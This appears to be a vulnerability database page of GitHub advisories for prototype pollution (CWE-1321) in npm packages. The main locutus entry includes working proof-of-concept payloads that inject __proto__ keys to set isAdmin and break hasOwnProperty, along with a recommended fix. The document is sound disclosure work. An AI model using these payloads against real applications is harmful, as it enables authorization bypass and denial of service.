Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

780 vulnerabilities reference this CWE, most recent first.

GHSA-4MPH-V827-F877

Vulnerability from github – Published: 2026-03-27 17:57 – Updated: 2026-03-30 20:14

Summary

Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()

Details

Summary

The unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.

This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied.

Details

The vulnerable code is in two functions within src/php/var/unserialize.ts:

expectArrayItems() at line 358:

// src/php/var/unserialize.ts:329-366
function expectArrayItems(
  str: string,
  expectedItems = 0,
  cache: CacheFn,
): [UnserializedObject | UnserializedValue[], number] {
  // ...
  const items: UnserializedObject = {}
  // ...
  for (let i = 0; i < expectedItems; i++) {
    key = expectKeyOrIndex(str)
    // ...
    item = expectType(str, cache)
    // ...
    items[String(key[0])] = item[0]  // line 358 — no __proto__ filtering
  }
  // ...
}

expectObject() at line 278:

// src/php/var/unserialize.ts:246-287
function expectObject(str: string, cache: CacheFn): ParsedResult {
  // ...
  const obj: UnserializedObject = {}
  // ...
  for (let i = 0; i < propCount; i++) {
    // ...
    obj[String(prop[0])] = value[0]  // line 278 — no __proto__ filtering
  }
  // ...
}

Both functions create a plain object ({}) and assign user-controlled keys via bracket notation. When the key is __proto__, JavaScript's __proto__ setter replaces the object's prototype rather than creating a regular property. This means:

Properties in the attacker-supplied prototype become accessible via dot notation and the in operator
These properties are invisible to Object.keys(), JSON.stringify(), and hasOwnProperty()
They propagate to copies made via for...in loops, becoming real own properties
The attacker can override hasOwnProperty, toString, valueOf with non-function values

Notably, parse_str in the same package has a regex guard against __proto__ (line 74 of src/php/strings/parse_str.ts), but no equivalent protection was applied to unserialize.

This is not global Object.prototype pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected.

PoC

Setup:

npm install locutus@3.0.24

Step 1 — Property injection via array deserialization:

import { unserialize } from 'locutus/php/var/unserialize';

const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const config = unserialize(payload);

console.log(config.isAdmin);           // true (injected via prototype)
console.log(Object.keys(config));      // ['name'] — isAdmin is hidden
console.log('isAdmin' in config);      // true — bypasses 'in' checks
console.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty

Verified output:

true
[ 'name' ]
true
false

Step 2 — for...in propagation makes injected properties real:

const copy = {};
for (const k in config) copy[k] = config[k];
console.log(copy.isAdmin);                     // true (now an own property)
console.log(copy.hasOwnProperty('isAdmin'));    // true

Verified output:

true
true

Step 3 — Method override denial of service:

const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}';
const obj = unserialize(payload2);
obj.hasOwnProperty('x');  // TypeError: obj.hasOwnProperty is not a function

Verified output:

TypeError: obj.hasOwnProperty is not a function

Step 4 — Object type (stdClass) is also vulnerable:

const payload3 = 'O:8:"stdClass":2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const obj2 = unserialize(payload3);
console.log(obj2.isAdmin);       // true
console.log('isAdmin' in obj2);  // true

Step 5 — Confirm NOT global pollution:

console.log(({}).isAdmin);  // undefined — global Object.prototype is clean

Impact

Property injection: Attacker-controlled properties become accessible on the deserialized object via dot notation and the in operator while being invisible to Object.keys() and hasOwnProperty(). Applications that use if (config.isAdmin) or if ('role' in config) patterns on deserialized data are vulnerable to authorization bypass.
Property propagation: When consuming code copies the object using for...in (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent hasOwnProperty checks.
Denial of service: The injected prototype can override hasOwnProperty, toString, valueOf, and other Object.prototype methods with non-function values, causing TypeError when these methods are called on the deserialized object.

The primary use case for locutus unserialize is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.

Recommended Fix

Filter dangerous keys before assignment in both expectArrayItems and expectObject. Use Object.defineProperty to create a data property without triggering the __proto__ setter:

const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

// In expectArrayItems (line 358) and expectObject (line 278):
const keyStr = String(key[0]); // or String(prop[0]) in expectObject
if (DANGEROUS_KEYS.has(keyStr)) {
  Object.defineProperty(items, keyStr, {
    value: item[0],
    writable: true,
    enumerable: true,
    configurable: true,
  });
} else {
  items[keyStr] = item[0];
}

Alternatively, create objects with a null prototype to prevent __proto__ setter invocation entirely:

// Replace: const items: UnserializedObject = {}
// With:
const items = Object.create(null) as UnserializedObject;

The Object.create(null) approach is more robust as it prevents the __proto__ setter from ever being triggered, regardless of key value.

Maintainer Reponse

Thank you for the report. This issue was reproduced locally against locutus@3.0.24, confirming that unserialize() was vulnerable to __proto__-driven prototype injection on the returned object.

This is now fixed on main and released in locutus@3.0.25.

Fix Shipped In

PR: #597
Merge commit on main: 345a6211e1e6f939f96a7090bfeff642c9fcf9e4
Release: v3.0.25

What the Fix Does

The fix hardens src/php/var/unserialize.ts by treating __proto__, constructor, and prototype as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript's prototype setter semantics.

Tested Repro Before the Fix

Attacker-controlled serialized __proto__ key produced inherited properties on the returned object
Object.keys() hid the injected key while 'key' in obj stayed true
Built-in methods like hasOwnProperty could be disrupted

Tested State After the Fix in `3.0.25`

Dangerous keys are kept as own enumerable properties
The returned object's prototype is not replaced
The regression is covered by test/custom/unserialize-prototype-pollution.vitest.ts

The locutus team is treating this as a real package vulnerability with patched version 3.0.25.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "locutus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33993"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T17:57:39Z",
    "nvd_published_at": "2026-03-27T23:17:14Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript\u0027s `__proto__` setter is invoked, replacing the deserialized object\u0027s prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.\n\nThis is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) \u2014 `unserialize` is a different function with no mitigation applied.\n\n## Details\n\nThe vulnerable code is in two functions within `src/php/var/unserialize.ts`:\n\n**`expectArrayItems()` at line 358:**\n```typescript\n// src/php/var/unserialize.ts:329-366\nfunction expectArrayItems(\n  str: string,\n  expectedItems = 0,\n  cache: CacheFn,\n): [UnserializedObject | UnserializedValue[], number] {\n  // ...\n  const items: UnserializedObject = {}\n  // ...\n  for (let i = 0; i \u003c expectedItems; i++) {\n    key = expectKeyOrIndex(str)\n    // ...\n    item = expectType(str, cache)\n    // ...\n    items[String(key[0])] = item[0]  // line 358 \u2014 no __proto__ filtering\n  }\n  // ...\n}\n```\n\n**`expectObject()` at line 278:**\n```typescript\n// src/php/var/unserialize.ts:246-287\nfunction expectObject(str: string, cache: CacheFn): ParsedResult {\n  // ...\n  const obj: UnserializedObject = {}\n  // ...\n  for (let i = 0; i \u003c propCount; i++) {\n    // ...\n    obj[String(prop[0])] = value[0]  // line 278 \u2014 no __proto__ filtering\n  }\n  // ...\n}\n```\n\nBoth functions create a plain object (`{}`) and assign user-controlled keys via bracket notation. When the key is `__proto__`, JavaScript\u0027s `__proto__` setter replaces the object\u0027s prototype rather than creating a regular property. This means:\n\n1. Properties in the attacker-supplied prototype become accessible via dot notation and the `in` operator\n2. These properties are invisible to `Object.keys()`, `JSON.stringify()`, and `hasOwnProperty()`\n3. They propagate to copies made via `for...in` loops, becoming real own properties\n4. The attacker can override `hasOwnProperty`, `toString`, `valueOf` with non-function values\n\nNotably, `parse_str` in the same package has a regex guard against `__proto__` (line 74 of `src/php/strings/parse_str.ts`), but no equivalent protection was applied to `unserialize`.\n\nThis is **not** global `Object.prototype` pollution \u2014 only the deserialized object\u0027s prototype is replaced. Other objects in the application are not affected.\n\n## PoC\n\n**Setup:**\n```bash\nnpm install locutus@3.0.24\n```\n\n**Step 1 \u2014 Property injection via array deserialization:**\n```js\nimport { unserialize } from \u0027locutus/php/var/unserialize\u0027;\n\nconst payload = \u0027a:2:{s:9:\"__proto__\";a:1:{s:7:\"isAdmin\";b:1;}s:4:\"name\";s:3:\"bob\";}\u0027;\nconst config = unserialize(payload);\n\nconsole.log(config.isAdmin);           // true (injected via prototype)\nconsole.log(Object.keys(config));      // [\u0027name\u0027] \u2014 isAdmin is hidden\nconsole.log(\u0027isAdmin\u0027 in config);      // true \u2014 bypasses \u0027in\u0027 checks\nconsole.log(config.hasOwnProperty(\u0027isAdmin\u0027)); // false \u2014 invisible to hasOwnProperty\n```\n\n**Verified output:**\n```\ntrue\n[ \u0027name\u0027 ]\ntrue\nfalse\n```\n\n**Step 2 \u2014 for...in propagation makes injected properties real:**\n```js\nconst copy = {};\nfor (const k in config) copy[k] = config[k];\nconsole.log(copy.isAdmin);                     // true (now an own property)\nconsole.log(copy.hasOwnProperty(\u0027isAdmin\u0027));    // true\n```\n\n**Verified output:**\n```\ntrue\ntrue\n```\n\n**Step 3 \u2014 Method override denial of service:**\n```js\nconst payload2 = \u0027a:1:{s:9:\"__proto__\";a:1:{s:14:\"hasOwnProperty\";b:1;}}\u0027;\nconst obj = unserialize(payload2);\nobj.hasOwnProperty(\u0027x\u0027);  // TypeError: obj.hasOwnProperty is not a function\n```\n\n**Verified output:**\n```\nTypeError: obj.hasOwnProperty is not a function\n```\n\n**Step 4 \u2014 Object type (stdClass) is also vulnerable:**\n```js\nconst payload3 = \u0027O:8:\"stdClass\":2:{s:9:\"__proto__\";a:1:{s:7:\"isAdmin\";b:1;}s:4:\"name\";s:3:\"bob\";}\u0027;\nconst obj2 = unserialize(payload3);\nconsole.log(obj2.isAdmin);       // true\nconsole.log(\u0027isAdmin\u0027 in obj2);  // true\n```\n\n**Step 5 \u2014 Confirm NOT global pollution:**\n```js\nconsole.log(({}).isAdmin);  // undefined \u2014 global Object.prototype is clean\n```\n\n## Impact\n\n- **Property injection**: Attacker-controlled properties become accessible on the deserialized object via dot notation and the `in` operator while being invisible to `Object.keys()` and `hasOwnProperty()`. Applications that use `if (config.isAdmin)` or `if (\u0027role\u0027 in config)` patterns on deserialized data are vulnerable to authorization bypass.\n- **Property propagation**: When consuming code copies the object using `for...in` (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent `hasOwnProperty` checks.\n- **Denial of service**: The injected prototype can override `hasOwnProperty`, `toString`, `valueOf`, and other `Object.prototype` methods with non-function values, causing `TypeError` when these methods are called on the deserialized object.\n\nThe primary use case for locutus `unserialize` is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.\n\n## Recommended Fix\n\nFilter dangerous keys before assignment in both `expectArrayItems` and `expectObject`. Use `Object.defineProperty` to create a data property without triggering the `__proto__` setter:\n\n```typescript\nconst DANGEROUS_KEYS = new Set([\u0027__proto__\u0027, \u0027constructor\u0027, \u0027prototype\u0027]);\n\n// In expectArrayItems (line 358) and expectObject (line 278):\nconst keyStr = String(key[0]); // or String(prop[0]) in expectObject\nif (DANGEROUS_KEYS.has(keyStr)) {\n  Object.defineProperty(items, keyStr, {\n    value: item[0],\n    writable: true,\n    enumerable: true,\n    configurable: true,\n  });\n} else {\n  items[keyStr] = item[0];\n}\n```\n\nAlternatively, create objects with a null prototype to prevent `__proto__` setter invocation entirely:\n\n```typescript\n// Replace: const items: UnserializedObject = {}\n// With:\nconst items = Object.create(null) as UnserializedObject;\n```\n\nThe `Object.create(null)` approach is more robust as it prevents the `__proto__` setter from ever being triggered, regardless of key value.\n\n\n## Maintainer Reponse\n\nThank you for the report. This issue was reproduced locally against `locutus@3.0.24`, confirming that `unserialize()` was vulnerable to `__proto__`-driven prototype injection on the returned object.\n\nThis is now fixed on `main` and released in `locutus@3.0.25`.\n\n## Fix Shipped In\n\n- **PR:** [#597](https://github.com/locutusjs/locutus/pull/597)\n- **Merge commit on `main`:** `345a6211e1e6f939f96a7090bfeff642c9fcf9e4`\n- **Release:** [v3.0.25](https://github.com/locutusjs/locutus/releases/tag/v3.0.25)\n\n## What the Fix Does\n\nThe fix hardens `src/php/var/unserialize.ts` by treating `__proto__`, `constructor`, and `prototype` as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript\u0027s prototype setter semantics.\n\n## Tested Repro Before the Fix\n\n- Attacker-controlled serialized `__proto__` key produced inherited properties on the returned object\n- `Object.keys()` hid the injected key while `\u0027key\u0027 in obj` stayed true\n- Built-in methods like `hasOwnProperty` could be disrupted\n\n## Tested State After the Fix in `3.0.25`\n\n- Dangerous keys are kept as own enumerable properties\n- The returned object\u0027s prototype is not replaced\n- The regression is covered by `test/custom/unserialize-prototype-pollution.vitest.ts`\n\n---\n\nThe locutus team is treating this as a real package vulnerability with patched version `3.0.25`.",
  "id": "GHSA-4mph-v827-f877",
  "modified": "2026-03-30T20:14:41Z",
  "published": "2026-03-27T17:57:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-4mph-v827-f877"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33993"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/pull/597"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/commit/345a6211e1e6f939f96a7090bfeff642c9fcf9e4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/locutusjs/locutus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/releases/tag/v3.0.25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()"
}

GHSA-4MVJ-RQ4V-2FXW

Vulnerability from github – Published: 2021-10-21 17:50 – Updated: 2022-12-03 03:56

Summary

Prototype Pollution in x-assign

Details

This vulnerability affects all versions of package x-assign. The global proto object can be polluted using the proto object.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "x-assign"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-10-21T14:54:57Z",
    "nvd_published_at": "2021-10-20T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability affects all versions of package x-assign. The global proto object can be polluted using the __proto__ object.",
  "id": "GHSA-4mvj-rq4v-2fxw",
  "modified": "2022-12-03T03:56:39Z",
  "published": "2021-10-21T17:50:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23452"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mvoorberg/x-assign"
    },
    {
      "type": "WEB",
      "url": "https://runkit.com/embed/sq8qjwemyn8t"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-XASSIGN-1759314"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in x-assign"
}

GHSA-4Q97-FH3F-J294

Vulnerability from github – Published: 2021-05-10 15:59 – Updated: 2021-05-07 21:50

Summary

Prototype Pollution in tiny-conf

Details

All versions of package tiny-conf up to and including version 1.1.0 are vulnerable to Prototype Pollution via the set function.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tiny-conf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7724"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-07T21:50:46Z",
    "nvd_published_at": "2020-09-01T10:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of package tiny-conf up to and including version 1.1.0 are vulnerable to Prototype Pollution via the set function.",
  "id": "GHSA-4q97-fh3f-j294",
  "modified": "2021-05-07T21:50:46Z",
  "published": "2021-05-10T15:59:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7724"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tiny-conf/tiny-conf/commit/1f7be78bc68927996647cd45b4367f8975a3ea05"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-TINYCONF-598792"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in tiny-conf"
}

GHSA-4R6H-8V6P-XVW6

Vulnerability from github – Published: 2023-04-24 09:30 – Updated: 2025-09-19 15:23

Summary

Prototype Pollution in sheetJS

Details

All versions of SheetJS CE through 0.19.2 are vulnerable to "Prototype Pollution" when reading specially crafted files. Workflows that do not read arbitrary files (for example, exporting data to spreadsheet files) are unaffected.

A non-vulnerable version cannot be found via npm, as the repository hosted on GitHub and the npm package xlsx are no longer maintained. Version 0.19.3 can be downloaded via https://cdn.sheetjs.com/.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 0.19.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "xlsx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-30533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-24T22:40:42Z",
    "nvd_published_at": "2023-04-24T08:15:07Z",
    "severity": "HIGH"
  },
  "details": "All versions of SheetJS CE through 0.19.2 are vulnerable to \"Prototype Pollution\" when reading specially crafted files. Workflows that do not read arbitrary files (for example, exporting data to spreadsheet files) are unaffected.\n\nA non-vulnerable version cannot be found via npm, as the repository hosted on GitHub and the npm package `xlsx` are no longer maintained. Version 0.19.3 can be downloaded via https://cdn.sheetjs.com/.",
  "id": "GHSA-4r6h-8v6p-xvw6",
  "modified": "2025-09-19T15:23:40Z",
  "published": "2023-04-24T09:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30533"
    },
    {
      "type": "WEB",
      "url": "https://cdn.sheetjs.com"
    },
    {
      "type": "WEB",
      "url": "https://cdn.sheetjs.com/advisories/CVE-2023-30533"
    },
    {
      "type": "PACKAGE",
      "url": "https://git.sheetjs.com/sheetjs/sheetjs"
    },
    {
      "type": "WEB",
      "url": "https://git.sheetjs.com/sheetjs/sheetjs/issues/2667"
    },
    {
      "type": "WEB",
      "url": "https://git.sheetjs.com/sheetjs/sheetjs/issues/2986"
    },
    {
      "type": "WEB",
      "url": "https://git.sheetjs.com/sheetjs/sheetjs/src/branch/master/CHANGELOG.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in sheetJS"
}

GHSA-4R97-78GF-Q24V

Vulnerability from github – Published: 2020-09-04 17:53 – Updated: 2025-07-18 19:42

Summary

Duplicate Advisory: Prototype Pollution in klona

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-8f89-2fwj-5v5r. This link is maintained to preserve external references.

Original Description

Versions of klona prior to 1.1.1 are vulnerable to prototype pollution. The package does not restrict the modification of an Object's prototype when cloning objects, which may allow an attacker to add or modify an existing property that will exist on all objects.

Recommendation

Upgrade to version 1.1.1 or later.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "klona"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T19:00:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-8f89-2fwj-5v5r. This link is maintained to preserve external references.\n\n## Original Description\nVersions of `klona` prior to 1.1.1 are vulnerable to prototype pollution. The package does not restrict the modification of an Object\u0027s prototype when cloning objects, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nUpgrade to version 1.1.1 or later.",
  "id": "GHSA-4r97-78gf-q24v",
  "modified": "2025-07-18T19:42:53Z",
  "published": "2020-09-04T17:53:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/778414"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1463"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Duplicate Advisory: Prototype Pollution in klona",
  "withdrawn": "2025-07-18T19:42:53Z"
}

GHSA-4VGC-RWR6-7J6R

Vulnerability from github – Published: 2024-12-04 12:31 – Updated: 2024-12-04 12:31

Details

In JetBrains YouTrack before 2024.3.52635 multiple merge functions were vulnerable to prototype pollution attack

Severity

4.2 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-54156"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-04T12:15:20Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains YouTrack before 2024.3.52635 multiple merge functions were vulnerable to prototype pollution attack",
  "id": "GHSA-4vgc-rwr6-7j6r",
  "modified": "2024-12-04T12:31:45Z",
  "published": "2024-12-04T12:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54156"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4VJR-HFPP-2M7W

Vulnerability from github – Published: 2025-04-04 06:34 – Updated: 2025-04-04 18:24

Summary

expand-object Vulnerable to Prototype Pollution via the expand() Function

Details

Versions of the package expand-object from 0.0.0 to 0.4.2 are vulnerable to Prototype Pollution in the expand() function in index.js. This function expands the given string into an object and allows a nested property to be set without checking the provided keys for sensitive properties like proto.

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

5.5 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "expand-object"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-3197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-04T18:24:05Z",
    "nvd_published_at": "2025-04-04T05:15:46Z",
    "severity": "MODERATE"
  },
  "details": "Versions of the package expand-object from 0.0.0 to 0.4.2 are vulnerable to Prototype Pollution in the expand() function in index.js. This function expands the given string into an object and allows a nested property to be set without checking the provided keys for sensitive properties like __proto__.",
  "id": "GHSA-4vjr-hfpp-2m7w",
  "modified": "2025-04-04T18:24:05Z",
  "published": "2025-04-04T06:34:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3197"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/miguelafmonteiro/d8f66af61d14e06338b688f90c4dfa7c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jonschlinkert/expand-object"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/expand-object/blob/master/index.js#L13"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-EXPANDOBJECT-5821390"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "expand-object Vulnerable to Prototype Pollution via the expand() Function"
}

GHSA-4WM9-3QMV-GVXJ

Vulnerability from github – Published: 2024-07-01 15:32 – Updated: 2024-07-12 19:08

Summary

jsonic was discovered to contain a prototype pollution via the function empty.

Details

rjrodger jsonic-next v2.12.1 was discovered to contain a prototype pollution via the function empty. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsonic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-38993"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-01T21:52:44Z",
    "nvd_published_at": "2024-07-01T13:15:04Z",
    "severity": "CRITICAL"
  },
  "details": "rjrodger jsonic-next v2.12.1 was discovered to contain a prototype pollution via the function empty. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.",
  "id": "GHSA-4wm9-3qmv-gvxj",
  "modified": "2024-07-12T19:08:25Z",
  "published": "2024-07-01T15:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38993"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mestrtee/9a2b522d59c53f31f45c1edb96459693"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jsonicjs/jsonic"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jsonic was discovered to contain a prototype pollution via the function empty.",
  "withdrawn": "2024-07-12T19:08:25Z"
}

GHSA-4XCX-CWRQ-W792

Vulnerability from github – Published: 2023-10-06 21:30 – Updated: 2023-10-13 21:26

Summary

Prototype Pollution in NASA Open MCT

Details

In NASA Open MCT (aka openmct) before commit 545a177 is subject to a prototype pollution which can occur via an import action.

Severity

